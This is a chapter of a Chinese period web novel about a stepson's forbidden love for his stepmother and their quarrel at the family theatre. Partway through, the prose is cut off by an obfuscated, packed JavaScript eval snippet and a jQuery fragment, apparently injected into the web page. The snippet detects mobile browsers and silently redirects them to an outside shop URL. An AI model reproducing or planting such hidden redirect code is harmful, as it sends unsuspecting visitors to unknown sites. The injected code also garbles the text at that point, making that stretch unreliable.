冬月,沈虞在国子监待了两年,被遣去工部历事。从国子监回来后,他便在沈府东院住下。
沈府众人只有沈鲤回来时会一道围桌用膳,平常时候都是各自在小院里用自己的,所以姜寻梅并不经常能遇见沈虞。他们的院落遥遥相隔,一方要找另一方必定会经过沈鲤的主院,所以姜寻梅一直怀疑沈鲤是故意的,不过这样也好,她也不想再和沈虞有什么不清不楚的来往。
偶尔去向老奶奶请安的时候会遇到沈虞,两人见了也只微微颔首示意,互相之间便没了其他话。
到了时辰,姜寻梅先行告退,沈虞静静望着她离去的背影一动不动,好像眼里只看得到她似的。
依稀记得那时也是这个时候,他离开了姜寻梅。如今却不知是他说到做到,回到了姜寻梅身边,还是姜寻梅找到了他。
然而有什么用呢,那夜两人紧紧相拥的亲密和缱绻似乎如露水一样,在天亮前就消散了,一点痕迹也未留下,那之后姜寻梅与他又回到了继母与继子的身份里,客气、疏离,一丝多余的眼神也不曾给过他,当真是恪守妇道。
沈虞性子傲,从不先低头求人,姜寻梅要和他生疏,他万万不会主动献殷勤,向她讨要一个亲近。于是成了这样,你走你的阳关道,我过我的独木桥,不再是一条路上的了。
可这样执拗的结果就是,他每天魂牵梦绕、辗转反侧,不得安生。如果此后一直是这样,那他跟姜寻梅会走向怎样的一个结局?他想了又想,想不出个所以然,毕竟不是他想怎样就怎样的,而是姜寻梅心里到底还有没有他。
纵使姜寻梅心里还有他,他也不并不满意,他要的不只是亲情。
这时跟在姜寻梅身后的婢女隽意听见自己落了东西,回头去看,好巧不巧,就注意到了大公子沉静专注的目光,她刚对上那道目光,大公子下一刻却挪开了眼。
于是隽意愣住了,意识到什么突然红了脸,连忙转过头去,把头深深低下,努力想把脸上陡然升起的烫意遏制住。
她比大公子只小两岁,家里贫穷才出来做了婢女,却不愿意一辈子居于人下。沈公子生得俊美,她见他第一眼就喜欢上了,所以在他身上多留了几分心思。她总觉得沈公子经常看她,而每每等她回望过去,公子就这般遮遮掩掩,好像害羞了一样。
这不能不怪她多想,隽意觉得自己也是有几分姿色的,沈府的其他几个年轻丫鬟都比不上她。为了在公子心里留下印象,她十分殷勤,每每借着夫人的名义到东院送吃的,都和东院的丫鬟混熟了,打听到不少公子的喜好。
果然,功夫不负有心人。
隽意心砰砰直跳,不知道自己该不该先迈出那一步,万一就飞上枝头变凤凰,也不是没有可能。
但是很快,隽意就意识到这没有她想象的那么轻松。
为何夫人要将其他千金介绍给公子?没看见公子有多不乐意吗,面若寒霜,对那位千金一点好脸色也无,浑身都写着抗拒。
“你把我叫来就是打的这个主意?”
姜寻梅无视他冰冷神色,道:“这位是监察御史家的千金季诗温,也喜欢听戏,那日被老奶奶见了就喜欢得紧,要她陪着自己。既然你也来了,就尽尽孝道,也在这陪老奶奶看会儿戏吧。”
“继母,请问你有何事,不能在此相陪?”沈虞针锋相对地问。
“诗温的娘亲崔夫人约了我交流女红技艺,我得失陪了。”姜寻梅面不改色地答。
“那不巧了,我也有要事在身,有季小姐陪着奶奶,倒不用担心。”
“你好不容易从国子监回来,同家人相处得少,该多陪伴在老人身侧。”
“望继母明悉,我每日晨昏定省,陪在奶奶身边的时候估计比继母还多。”
“老奶奶与你亲近,不舍得你走。”
戏园子内锣鼓喧天,戏已至高潮;戏园子外似乎更是高潮迭起。
季诗温站在一旁听了半天,也不知自己该不该避让,没有姜夫人开口,她也不敢贸然失礼退下,于是只得拘谨地低着脸,时不时好奇地瞧一眼这位沈公子,越瞧越羞。
却猛然听这沈公子怒斥一声:“姜寻梅!你明知道我是为何而来!”
“我知道,你是为了陪老奶奶而来。”
“奶奶看戏正酣,我看不懂这戏,去了也是打搅她兴致;再者,我有要事缠身,恕不奉陪了!”
“慢着——”这时周老夫人在婢女的搀扶下从戏园子里走了出来,“虞儿,你是嫌弃奶奶了?连陪奶奶看场戏都不愿意了?”
沈虞咬紧腮帮子,意识到这事是早有预谋,实在麻烦,不由越想越气,狠狠瞪了一眼姜寻梅。
在听到下人传话,是姜寻梅唤他到戏园子里来,他还忐忑了好一番,以为她决定要和自己说些什么,做些什么。
他眼里根本没有那些纲常伦理,他并不觉得继母和继子私会有什么关系,他只知道在那之前他和姜寻梅就是这天地间最亲密的二人。
若是姜寻梅无法陪在他身边,那他不介意坏了规矩,让沈鲤休了姜寻梅,让姜寻梅离开沈鲤。这天底下最亲密最牢固的也不是夫妻关系,正如话本中说,约那不做忠臣、不做孝子,成不得好弟兄、做不来好朋友,都为溺在夫妇一伦去了。
他将这话看了一遍又一遍,忽然明白了,一直以来他苦苦寻求的答案是什么。
这夫妻就应该他和姜寻梅做,他和姜寻梅的关系只该这般,因为他俩正是不做君臣也不做母子,成不得好姐弟也做不来好朋友!
想通了这个,他日日想的便只有此事。难道不是吗,他和姜寻梅不就是夫妻吗?是他入了洞房,同姜寻梅喝了交杯酒,把姜寻梅亲吻得意乱情迷,只是还差最后一步,却也再简单不过。
而她和沈鲤之间有什么呢?什么也无!他又不是没有向下人打听过,这对夫妇当真是相敬如宾。既然愿意相敬如宾,还做什么夫妇?
可是姜寻梅要如何,竟然为他介绍了另一个女子,想她当他的妻子么?想他和别人做夫妻么?像她和沈鲤那般相敬如宾?……有什么意思?
沈虞胸膛剧烈起伏,真真要被她气死了。又想那夜真的和姜寻梅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905103|208615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一道死去就好了,便不会再被她一次又一次地气到肝裂心疼。
耳内还回荡着园内锣鼓铿锵的唱词,他目光灼灼死死钉在姜寻梅面上,眼底压着翻涌的愤懑与蚀骨的委屈,冷笑道:“继母莫非听戏听入了迷,竟学那戏里痴人做起南柯一梦?还是继母自个儿也要唱戏?——不必白费力气,‘曲未终我意已通,分明是教我伯劳飞燕各西东’!”
胸中那股郁气不断翻涌,他全然顾不得旁边还有周老夫人和那劳什子千金在侧,放肆驳斥:“戏文里才子佳人的谎话,听听便罢,继母何苦拿到现世中来演这一出荒唐戏!”
砰!
一声锣鼓敲响,内外皆震颤。
他是怒不可遏,被他讥讽那人眼中却是平静无波,恰似一道死水。“我只是想教你‘收余恨、免娇嗔、且自新、改性情、休恋逝水、苦海回身、早悟兰因’。”
“呵,你是‘慈悲方寸,想恕却我少年心性’,可我只依老天‘成就少年前尘、兰因絮果’,不成便不依!”
他不肯退让,疯狂而固执地紧盯着姜寻梅,说什么早悟兰因,他就是开悟太晚,若他早点明白,姜寻梅就是他的兰因絮果,又怎会让他俩沦落至此,明里暗里的,谁也不肯认输。
然而看似是他气势慑人,实则他处处要看姜寻梅反应,若没有姜寻梅点头,他做什么都是徒劳,再声势浩大也不过虚张声势。
就好像,他的生死只在姜寻梅的判决间。
周老夫人被身侧婢女轻轻搀扶着,方才听戏的那点闲适全然消散。耳旁一来是戏园内锣鼓咿呀,二来是沈虞与姜寻梅一来一回言语交锋,唇枪舌剑,当着季诗温一众下人的面,闹得场面难堪。
“行了,都消停吧,哎哟!——”她眉头紧紧蹙起,脸上的慈和慢慢敛了,手扶着额头,真想要个清净,再不想听戏了,吵得耳根子疼!浑浊的目光扫过沈虞,又落向姜寻梅,恼怒叹道:“我听了这么久的戏,今日却怎么都听不懂你母子俩在唱些什么!”
眼见一旁立着的季诗温局促不安,仆婢个个垂头屏息,行经路人有所驻足,分明是要将闹出笑话来,她无奈地招了招手:“既然你们俩都不愿陪我,那就各自散去吧!莫站在这里争执不休,叫外人看了咱们沈府的笑话!”
说罢,她微微偏过头,不愿再多看二人,抬手挥了挥,示意他们退下。
沈虞到底忍着做足礼数向她告退,先行负气而去,再不回头。
望他背影者却有三人。那隽意心里又得意又担忧,幸好这沈公子没看上这千金小姐,一眼都没瞧过她;若是此刻跟上去安慰,说不定事半功倍,她该如何想法子抽身呢?
那季诗温正惶惶不安,不知自己是哪里惹恼了这位沈公子,还是这位沈公子本就不是好相处的,谢天谢地,叫她免了一桩可怕婚事!
而姜寻梅轻声叹了口气。她心里同样刺痛,却一直不敢承认,总是这般伤了沈虞也伤了自己。可不这样还能如何呢?
望着他背影,她又想到一句戏词——
问观音为何倒坐,叹众生不肯回头。